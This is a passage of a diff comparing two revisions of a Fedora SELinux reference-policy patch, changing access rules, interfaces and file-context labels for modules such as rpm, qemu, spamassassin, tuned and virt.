 -allow rpm_t rpc_pipefs_t:dir search;
 +optional_policy(`
 +	prelink_domtrans(rpm_t)
@@ -1199,7 +1202,7 @@ diff -b -B --ignore-all-space --exclude-
  allow rpm_script_t self:fd use;
  allow rpm_script_t self:fifo_file rw_fifo_file_perms;
  allow rpm_script_t self:unix_dgram_socket create_socket_perms;
-@@ -222,12 +243,15 @@
+@@ -222,12 +247,15 @@
  allow rpm_script_t self:sem create_sem_perms;
  allow rpm_script_t self:msgq create_msgq_perms;
  allow rpm_script_t self:msg { send receive };
@@ -1215,7 +1218,7 @@ diff -b -B --ignore-all-space --exclude-
  files_tmp_filetrans(rpm_script_t, rpm_script_tmp_t, { file dir })
  
  manage_dirs_pattern(rpm_script_t, rpm_script_tmpfs_t, rpm_script_tmpfs_t)
-@@ -239,6 +263,9 @@
+@@ -239,6 +267,9 @@
  
  kernel_read_kernel_sysctls(rpm_script_t)
  kernel_read_system_state(rpm_script_t)
@@ -1225,7 +1228,7 @@ diff -b -B --ignore-all-space --exclude-
  
  dev_list_sysfs(rpm_script_t)
  
-@@ -255,6 +282,7 @@
+@@ -255,6 +286,7 @@
  fs_mount_xattr_fs(rpm_script_t)
  fs_unmount_xattr_fs(rpm_script_t)
  fs_search_auto_mountpoints(rpm_script_t)
@@ -1233,7 +1236,7 @@ diff -b -B --ignore-all-space --exclude-
  
  mcs_killall(rpm_script_t)
  mcs_ptrace_all(rpm_script_t)
-@@ -272,14 +300,19 @@
+@@ -272,14 +304,19 @@
  storage_raw_read_fixed_disk(rpm_script_t)
  storage_raw_write_fixed_disk(rpm_script_t)
  
@@ -1253,7 +1256,7 @@ diff -b -B --ignore-all-space --exclude-
  
  domain_read_all_domains_state(rpm_script_t)
  domain_getattr_all_domains(rpm_script_t)
-@@ -291,8 +324,10 @@
+@@ -291,8 +328,10 @@
  files_exec_etc_files(rpm_script_t)
  files_read_etc_runtime_files(rpm_script_t)
  files_exec_usr_files(rpm_script_t)
@@ -1264,7 +1267,7 @@ diff -b -B --ignore-all-space --exclude-
  
  libs_exec_ld_so(rpm_script_t)
  libs_exec_lib_files(rpm_script_t)
-@@ -308,12 +343,15 @@
+@@ -308,12 +347,15 @@
  seutil_domtrans_loadpolicy(rpm_script_t)
  seutil_domtrans_setfiles(rpm_script_t)
  seutil_domtrans_semanage(rpm_script_t)
@@ -1280,7 +1283,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -326,13 +364,22 @@
+@@ -326,13 +368,22 @@
  ')
  
  optional_policy(`
@@ -1845,7 +1848,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.te serefpolicy-3.6.32/policy/modules/apps/chrome.te
 --- nsaserefpolicy/policy/modules/apps/chrome.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-13 17:35:54.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-26 09:18:12.000000000 -0400
 @@ -0,0 +1,61 @@
 +policy_module(chrome,1.0.0)
 +
@@ -1873,7 +1876,7 @@ diff -b -B --ignore-all-space --exclude-
 +# chrome_sandbox local policy
 +#
 +allow chrome_sandbox_t self:capability { setuid sys_admin dac_override sys_chroot chown fsetid setgid };
-+allow chrome_sandbox_t self:process { setrlimit execmem };
++allow chrome_sandbox_t self:process { signal_perms setrlimit execmem };
 +allow chrome_sandbox_t self:fifo_file manage_file_perms;
 +allow chrome_sandbox_t self:unix_stream_socket create_stream_socket_perms;
 +allow chrome_sandbox_t self:unix_dgram_socket { create_socket_perms sendto };
@@ -1922,8 +1925,8 @@ diff -b -B --ignore-all-space --exclude-
  	dbus_system_domain(cpufreqselector_t, cpufreqselector_exec_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.fc serefpolicy-3.6.32/policy/modules/apps/execmem.fc
 --- nsaserefpolicy/policy/modules/apps/execmem.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-12 09:13:42.000000000 -0400
-@@ -0,0 +1,31 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-26 15:10:42.000000000 -0400
+@@ -0,0 +1,35 @@
 +/usr/bin/darcs 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/haddock.*  	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/hasktags   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
@@ -1935,8 +1938,6 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/sbin/vboxadd-service 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/sbin/VBox.* 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
-+/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+
 +ifdef(`distro_gentoo',`
 +/usr/lib32/openoffice/program/[^/]+\.bin -- gen_context(system_u:object_r:execmem_exec_t,s0)
 +')
@@ -1947,14 +1948,20 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
 +/usr/libexec/ghc-[^/]+/.*bin  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/libexec/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib(64)?/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/libexec/ghc-[^/]+/ghc.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib(64)?/ghc-[^/]+/ghc.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib/ia32el/ia32x_loader 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib(64)/virtualbox/VirtualBox  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
++/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/opt/real/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
 +/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
 +/usr/lib/wingide-[^/]+/bin/PyCore/python -- gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/opt/Adobe/Reader9/Reader/intellinux/bin/acroread  -- gen_context(system_u:object_r:execmem_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-23 09:23:30.000000000 -0400
@@ -4099,7 +4106,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/libexec/qemu.*	--	gen_context(system_u:object_r:qemu_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/qemu.if serefpolicy-3.6.32/policy/modules/apps/qemu.if
 --- nsaserefpolicy/policy/modules/apps/qemu.if	2009-08-31 13:44:40.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/qemu.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/qemu.if	2009-10-26 13:31:02.000000000 -0400
 @@ -40,6 +40,10 @@
  
  	qemu_domtrans($1)
@@ -4111,7 +4118,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -211,3 +215,189 @@
+@@ -211,3 +215,188 @@
  #		xserver_xdm_rw_shm($1_t)
  	')
  ')
@@ -4300,10 +4307,9 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	manage_files_pattern($1, qemu_tmp_t, qemu_tmp_t)
 +')
-+
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/qemu.te serefpolicy-3.6.32/policy/modules/apps/qemu.te
 --- nsaserefpolicy/policy/modules/apps/qemu.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/qemu.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/qemu.te	2009-10-26 15:14:29.000000000 -0400
 @@ -13,15 +13,46 @@
  ## </desc>
  gen_tunable(qemu_full_network, false)
@@ -5540,7 +5546,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.fc serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc
 --- nsaserefpolicy/policy/modules/kernel/corecommands.fc	2009-07-30 13:09:10.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-21 09:33:05.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-24 08:27:37.000000000 -0400
 @@ -1,4 +1,4 @@
 -
 +c
@@ -5563,7 +5569,14 @@ diff -b -B --ignore-all-space --exclude-
  
  #
  # /opt
-@@ -142,6 +144,9 @@
+@@ -135,13 +137,15 @@
+ 
+ /opt/(.*/)?sbin(/.*)?			gen_context(system_u:object_r:bin_t,s0)
+ 
+-/opt/real/RealPlayer/realplay(\.bin)?	gen_context(system_u:object_r:bin_t,s0)
+ ifdef(`distro_gentoo',`
+ /opt/RealPlayer/realplay(\.bin)?	gen_context(system_u:object_r:bin_t,s0)
+ /opt/RealPlayer/postint(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /opt/vmware/workstation/lib/lib/wrapper-gtk24\.sh -- gen_context(system_u:object_r:bin_t,s0)
  ')
  
@@ -5573,7 +5586,7 @@ diff -b -B --ignore-all-space --exclude-
  #
  # /usr
  #
-@@ -211,6 +216,8 @@
+@@ -211,6 +215,8 @@
  /usr/share/apr-0/build/[^/]+\.sh --	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/apr-0/build/libtool --	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/debconf/.+		--	gen_context(system_u:object_r:bin_t,s0)
@@ -5582,7 +5595,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/gnucash/finance-quote-check -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/gnucash/finance-quote-helper -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/hal/device-manager/hal-device-manager -- gen_context(system_u:object_r:bin_t,s0)
-@@ -221,6 +228,9 @@
+@@ -221,6 +227,9 @@
  /usr/share/PackageKit/pk-upgrade-distro\.sh -- 	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/PackageKit/helpers(/.*)?	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/selinux/devel/policygentool -- gen_context(system_u:object_r:bin_t,s0)
@@ -5592,7 +5605,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/shorewall/configpath	--	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall-perl(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall-shell(/.*)?	gen_context(system_u:object_r:bin_t,s0)
-@@ -263,6 +273,7 @@
+@@ -263,6 +272,7 @@
  /usr/share/ssl/misc(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /usr/share/switchdesk/switchdesk-gui\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-date/system-config-date\.py -- gen_context(system_u:object_r:bin_t,s0)
@@ -5600,7 +5613,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/system-config-selinux/system-config-selinux\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-display/system-config-display -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-httpd/system-config-httpd -- gen_context(system_u:object_r:bin_t,s0)
-@@ -315,3 +326,21 @@
+@@ -315,3 +325,21 @@
  ifdef(`distro_suse',`
  /var/lib/samba/bin/.+			gen_context(system_u:object_r:bin_t,s0)
  ')
@@ -7044,7 +7057,7 @@ diff -b -B --ignore-all-space --exclude-
 +/dev/shm		-d	gen_context(system_u:object_r:tmpfs_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.if serefpolicy-3.6.32/policy/modules/kernel/filesystem.if
 --- nsaserefpolicy/policy/modules/kernel/filesystem.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-13 10:09:53.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-26 14:40:22.000000000 -0400
 @@ -1149,6 +1149,44 @@
  	domain_auto_transition_pattern($1, cifs_t, $2)
  ')
@@ -11452,6 +11465,18 @@ diff -b -B --ignore-all-space --exclude-
  
  storage_rw_fuse(automount_t)
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/avahi.te serefpolicy-3.6.32/policy/modules/services/avahi.te
+--- nsaserefpolicy/policy/modules/services/avahi.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/avahi.te	2009-10-24 08:21:35.000000000 -0400
+@@ -24,7 +24,7 @@
+ # Local policy
+ #
+ 
+-allow avahi_t self:capability { dac_override setgid chown fowner kill setuid sys_chroot };
++allow avahi_t self:capability { dac_override setgid chown fowner kill net_admin setuid sys_chroot };
+ dontaudit avahi_t self:capability sys_tty_config;
+ allow avahi_t self:process { setrlimit signal_perms getcap setcap };
+ allow avahi_t self:fifo_file rw_fifo_file_perms;
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/bind.if serefpolicy-3.6.32/policy/modules/services/bind.if
 --- nsaserefpolicy/policy/modules/services/bind.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/bind.if	2009-09-30 16:12:48.000000000 -0400
@@ -11549,10 +11574,13 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/bluetooth.te serefpolicy-3.6.32/policy/modules/services/bluetooth.te
 --- nsaserefpolicy/policy/modules/services/bluetooth.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/bluetooth.te	2009-09-30 16:12:48.000000000 -0400
-@@ -56,7 +56,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/bluetooth.te	2009-10-26 09:03:29.000000000 -0400
+@@ -54,9 +54,9 @@
+ # Bluetooth services local policy
+ #
  
- allow bluetooth_t self:capability { dac_override net_bind_service net_admin net_raw sys_tty_config ipc_lock };
+-allow bluetooth_t self:capability { dac_override net_bind_service net_admin net_raw sys_tty_config ipc_lock };
++allow bluetooth_t self:capability { dac_override net_bind_service net_admin net_raw setpcap sys_tty_config ipc_lock };
  dontaudit bluetooth_t self:capability sys_tty_config;
 -allow bluetooth_t self:process { getsched signal_perms };
 +allow bluetooth_t self:process { getcap setcap getsched signal_perms };
@@ -21210,7 +21238,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/spamassassin.te serefpolicy-3.6.32/policy/modules/services/spamassassin.te
 --- nsaserefpolicy/policy/modules/services/spamassassin.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/spamassassin.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/spamassassin.te	2009-10-26 09:38:33.000000000 -0400
 @@ -20,6 +20,35 @@
  ## </desc>
  gen_tunable(spamd_enable_home_dirs, true)
@@ -21328,11 +21356,12 @@ diff -b -B --ignore-all-space --exclude-
  
  corenet_all_recvfrom_unlabeled(spamc_t)
  corenet_all_recvfrom_netlabel(spamc_t)
-@@ -246,9 +307,15 @@
+@@ -246,9 +307,16 @@
  files_dontaudit_search_var(spamc_t)
  # cjp: this may be removable:
  files_list_home(spamc_t)
 +files_list_var_lib(spamc_t)
++list_dirs_pattern(spamc_t, spamd_var_lib_t, spamd_var_lib_t)
 +read_files_pattern(spamc_t, spamd_var_lib_t, spamd_var_lib_t)
 +
 +fs_search_auto_mountpoints(spamc_t)
@@ -21344,7 +21373,7 @@ diff -b -B --ignore-all-space --exclude-
  miscfiles_read_localization(spamc_t)
  
  # cjp: this should probably be removed:
-@@ -256,27 +323,40 @@
+@@ -256,27 +324,40 @@
  
  sysnet_read_config(spamc_t)
  
@@ -21391,7 +21420,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -288,7 +368,7 @@
+@@ -288,7 +369,7 @@
  # setuids to the user running spamc.  Comment this if you are not
  # using this ability.
  
@@ -21400,7 +21429,7 @@ diff -b -B --ignore-all-space --exclude-
  dontaudit spamd_t self:capability sys_tty_config;
  allow spamd_t self:process ~{ ptrace setcurrent setexec setfscreate setrlimit execmem execstack execheap };
  allow spamd_t self:fd use;
-@@ -304,10 +384,17 @@
+@@ -304,10 +385,17 @@
  allow spamd_t self:unix_stream_socket connectto;
  allow spamd_t self:tcp_socket create_stream_socket_perms;
  allow spamd_t self:udp_socket create_socket_perms;
@@ -21419,7 +21448,7 @@ diff -b -B --ignore-all-space --exclude-
  files_spool_filetrans(spamd_t, spamd_spool_t, { file dir })
  
  manage_dirs_pattern(spamd_t, spamd_tmp_t, spamd_tmp_t)
-@@ -316,10 +403,12 @@
+@@ -316,10 +404,12 @@
  
  # var/lib files for spamd
  allow spamd_t spamd_var_lib_t:dir list_dir_perms;
@@ -21433,7 +21462,7 @@ diff -b -B --ignore-all-space --exclude-
  files_pid_filetrans(spamd_t, spamd_var_run_t, { dir file })
  
  kernel_read_all_sysctls(spamd_t)
-@@ -369,22 +458,27 @@
+@@ -369,22 +459,27 @@
  
  init_dontaudit_rw_utmp(spamd_t)
  
@@ -21465,7 +21494,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_manage_cifs_files(spamd_t)
  ')
  
-@@ -402,23 +496,16 @@
+@@ -402,23 +497,16 @@
  
  optional_policy(`
  	dcc_domtrans_client(spamd_t)
@@ -21490,7 +21519,7 @@ diff -b -B --ignore-all-space --exclude-
  	postfix_read_config(spamd_t)
  ')
  
-@@ -433,6 +520,10 @@
+@@ -433,6 +521,10 @@
  
  optional_policy(`
  	razor_domtrans(spamd_t)
@@ -21501,7 +21530,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -445,5 +536,9 @@
+@@ -445,5 +537,9 @@
  ')
  
  optional_policy(`
@@ -22237,10 +22266,19 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/tuned\.pid		--	gen_context(system_u:object_r:tuned_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tuned.if serefpolicy-3.6.32/policy/modules/services/tuned.if
 --- nsaserefpolicy/policy/modules/services/tuned.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/tuned.if	2009-10-23 09:38:54.000000000 -0400
-@@ -0,0 +1,136 @@
++++ serefpolicy-3.6.32/policy/modules/services/tuned.if	2009-10-26 11:31:09.000000000 -0400
+@@ -0,0 +1,140 @@
 +
-+## <summary>policy for tuned - dynamic adaptive system tuning daemon</summary>
++## <summary>Dynamic adaptive system tuning daemon</summary>
++## <desc>
++##      <p>
++##	The tuned package contains a daemon that tunes system settings dynamicaly.
++##	It does so by monitoring the usage of several system components periodiclly.
++##	Based on that information components will then be put into lower or higher
++##	power saving modes to adapt to the current usage. Currently only etherne
++##	network and ATA harddisk devices are implemented.
++##      </p>
++## </desc>
 +
 +########################################
 +## <summary>
@@ -22355,16 +22393,12 @@ diff -b -B --ignore-all-space --exclude-
 +interface(`tuned_admin',`
 +	gen_require(`
 +		type tuned_t, tuned_var_run_t;
++		type tuned_initrc_exec_t;
 +	')
 +
 +	allow $1 tuned_t:process { ptrace signal_perms getattr };
 +	read_files_pattern($1, tuned_t, tuned_t)
 +	        
-+
-+	gen_require(`
-+		type tuned_initrc_exec_t;
-+	')
-+
 +	tuned_initrc_domtrans($1)
 +	domain_system_change_exemption($1)
 +	role_transition $2 tuned_initrc_exec_t system_r;
@@ -22372,13 +22406,12 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	files_search_pids($1)
 +        admin_pattern($1, tuned_var_run_t)
-+
 +')
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tuned.te serefpolicy-3.6.32/policy/modules/services/tuned.te
 --- nsaserefpolicy/policy/modules/services/tuned.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/tuned.te	2009-10-23 09:38:54.000000000 -0400
-@@ -0,0 +1,59 @@
++++ serefpolicy-3.6.32/policy/modules/services/tuned.te	2009-10-26 11:31:38.000000000 -0400
+@@ -0,0 +1,58 @@
 +
 +policy_module(tuned,1.0.0)
 +
@@ -22411,19 +22444,18 @@ diff -b -B --ignore-all-space --exclude-
 +
 +corecmd_exec_shell(tuned_t)
 +
-+kernel_read_system_state(tuned_t)
 +kernel_read_network_state(tuned_t)
++kernel_read_system_state(tuned_t)
 +
 +dev_read_sysfs(tuned_t)
 +
 +# to allow cpu tuning
 +dev_rw_netcontrol(tuned_t)
 +
++files_dontaudit_search_home(tuned_t)
 +files_read_etc_files(tuned_t)
 +files_read_usr_files(tuned_t)
 +
-+files_dontaudit_search_home(tuned_t)
-+
 +userdom_dontaudit_search_user_home_dirs(tuned_t)
 +
 +miscfiles_read_localization(tuned_t)
@@ -22471,8 +22503,8 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.fc serefpolicy-3.6.32/policy/modules/services/virt.fc
 --- nsaserefpolicy/policy/modules/services/virt.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -8,5 +8,17 @@
++++ serefpolicy-3.6.32/policy/modules/services/virt.fc	2009-10-26 13:22:08.000000000 -0400
+@@ -8,5 +8,18 @@
  
  /var/lib/libvirt(/.*)?		gen_context(system_u:object_r:virt_var_lib_t,s0)
  /var/lib/libvirt/images(/.*)? 	gen_context(system_u:object_r:virt_image_t,s0)
@@ -22482,6 +22514,7 @@ diff -b -B --ignore-all-space --exclude-
 +
  /var/log/libvirt(/.*)?		gen_context(system_u:object_r:virt_log_t,s0)
  /var/run/libvirt(/.*)?		gen_context(system_u:object_r:virt_var_run_t,s0)
++/var/vdsm(/.*)?			gen_context(system_u:object_r:virt_var_run_t,s0)
 +
 +HOME_DIR/VirtualMachines(/.*)? 	gen_context(system_u:object_r:virt_image_t,s0)
 +HOME_DIR/VirtualMachines/isos(/.*)? 	gen_context(system_u:object_r:virt_content_t,s0)
@@ -22492,7 +22525,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/libvirt/qemu(/.*)? 	gen_context(system_u:object_r:svirt_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.if serefpolicy-3.6.32/policy/modules/services/virt.if
 --- nsaserefpolicy/policy/modules/services/virt.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-22 14:44:38.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-26 13:38:47.000000000 -0400
 @@ -136,7 +136,7 @@
  	')
  
@@ -22614,7 +22647,7 @@ diff -b -B --ignore-all-space --exclude-
  		fs_read_cifs_symlinks($1)
  	')
  ')
-@@ -346,3 +419,79 @@
+@@ -346,3 +419,94 @@
  
  	virt_manage_log($1)
  ')
@@ -22632,6 +22665,7 @@ diff -b -B --ignore-all-space --exclude-
 +#
 +template(`virt_domain_template',`
 +	gen_require(`
++		type virtd_t;
 +		attribute virt_image_type;
 +		attribute virt_domain;
 +	')
@@ -22652,6 +22686,9 @@ diff -b -B --ignore-all-space --exclude-
 +	files_type($1_image_t)
 +	dev_node($1_image_t)
 +
++	type $1_var_run_t;
++	files_pid_file($1_var_run_t)
++
 +	manage_dirs_pattern($1_t, $1_image_t, $1_image_t)
 +	manage_files_pattern($1_t, $1_image_t, $1_image_t)
 +	read_lnk_files_pattern($1_t, $1_image_t, $1_image_t)
@@ -22667,6 +22704,17 @@ diff -b -B --ignore-all-space --exclude-
 +	manage_lnk_files_pattern($1_t, $1_tmpfs_t, $1_tmpfs_t)
 +	fs_tmpfs_filetrans($1_t, $1_tmpfs_t, { dir file lnk_file })
 +
++	stream_connect_pattern(virtd_t, $1_var_run_t, $1_var_run_t, virt_domain)
++	manage_dirs_pattern(virtd_t, $1_var_run_t, $1_var_run_t)
++	manage_files_pattern(virtd_t, $1_var_run_t, $1_var_run_t)
++
++	manage_dirs_pattern($1_t, $1_var_run_t, $1_var_run_t)
++	manage_files_pattern($1_t, $1_var_run_t, $1_var_run_t)
++	manage_sock_files_pattern($1_t, $1_var_run_t, $1_var_run_t)
++	manage_lnk_files_pattern($1_t, $1_var_run_t, $1_var_run_t)
++	files_pid_filetrans($1_t, $1_var_run_t, { dir file })
++	stream_connect_pattern($1_t, $1_var_run_t, $1_var_run_t, virtd_t)
++
 +	optional_policy(`
 +		xserver_rw_shm($1_t)
 +		xserver_common_app($1_t)
@@ -22696,7 +22744,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.te serefpolicy-3.6.32/policy/modules/services/virt.te
 --- nsaserefpolicy/policy/modules/services/virt.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-22 13:55:08.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-26 15:19:55.000000000 -0400
 @@ -20,6 +20,28 @@
  ## </desc>
  gen_tunable(virt_use_samba, false)
@@ -22742,7 +22790,7 @@ diff -b -B --ignore-all-space --exclude-
  type virt_log_t;
  logging_log_file(virt_log_t)
  
-@@ -48,27 +75,58 @@
+@@ -48,27 +75,55 @@
  type virtd_initrc_exec_t;
  init_script_file(virtd_initrc_exec_t)
  
@@ -22760,9 +22808,6 @@ diff -b -B --ignore-all-space --exclude-
 +type svirt_cache_t;
 +files_type(svirt_cache_t)
 +
-+type svirt_var_run_t;
-+files_pid_file(svirt_var_run_t)
-+
  ########################################
  #
  # virtd local policy
@@ -22770,16 +22815,18 @@ diff -b -B --ignore-all-space --exclude-
  
 -allow virtd_t self:capability { dac_override kill net_admin setgid sys_nice sys_ptrace };
 -allow virtd_t self:process { getsched sigkill signal execmem };
+-allow virtd_t self:fifo_file rw_file_perms;
 +allow virtd_t self:capability { chown dac_override fowner ipc_lock kill mknod net_admin net_raw setpcap setuid setgid sys_admin sys_nice sys_ptrace };
 +allow virtd_t self:process { getcap getsched setcap sigkill signal signull execmem setexec setfscreate setsched };
 +
- allow virtd_t self:fifo_file rw_file_perms;
++allow virtd_t self:fifo_file rw_fifo_file_perms;
  allow virtd_t self:unix_stream_socket create_stream_socket_perms;
  allow virtd_t self:tcp_socket create_stream_socket_perms;
- allow virtd_t self:tun_socket create;
- 
-+allow virtd_t virt_domain:process { setsched transition signal signull sigkill };
+-allow virtd_t self:tun_socket create;
++allow virtd_t self:tun_socket create_socket_perms;
 +
++allow virtd_t virt_domain:process { setsched transition signal signull sigkill };
+ 
  read_files_pattern(virtd_t, virt_etc_t, virt_etc_t)
  read_lnk_files_pattern(virtd_t, virt_etc_t, virt_etc_t)
  
@@ -22803,7 +22850,7 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(virtd_t, virt_log_t, virt_log_t)
  manage_files_pattern(virtd_t, virt_log_t, virt_log_t)
-@@ -76,6 +134,7 @@
+@@ -76,6 +131,7 @@
  
  manage_dirs_pattern(virtd_t, virt_var_lib_t, virt_var_lib_t)
  manage_files_pattern(virtd_t, virt_var_lib_t, virt_var_lib_t)
@@ -22811,7 +22858,7 @@ diff -b -B --ignore-all-space --exclude-
  files_var_lib_filetrans(virtd_t, virt_var_lib_t, { file dir })
  
  manage_dirs_pattern(virtd_t, virt_var_run_t, virt_var_run_t)
-@@ -86,7 +145,8 @@
+@@ -86,7 +142,8 @@
  kernel_read_system_state(virtd_t)
  kernel_read_network_state(virtd_t)
  kernel_rw_net_sysctls(virtd_t)
@@ -22821,7 +22868,7 @@ diff -b -B --ignore-all-space --exclude-
  
  corecmd_exec_bin(virtd_t)
  corecmd_exec_shell(virtd_t)
-@@ -97,30 +157,55 @@
+@@ -97,30 +154,50 @@
  corenet_tcp_sendrecv_generic_node(virtd_t)
  corenet_tcp_sendrecv_all_ports(virtd_t)
  corenet_tcp_bind_generic_node(virtd_t)
@@ -22857,16 +22904,11 @@ diff -b -B --ignore-all-space --exclude-
 +# Manages /etc/sysconfig/system-config-firewall
 +iptables_manage_config(virtd_t)
 +files_manage_etc_files(virtd_t)
-+
-+modutils_read_module_deps(virtd_t)
-+modutils_read_module_config(virtd_t)
  
  fs_list_auto_mountpoints(virtd_t)
 +fs_getattr_xattr_fs(virtd_t)
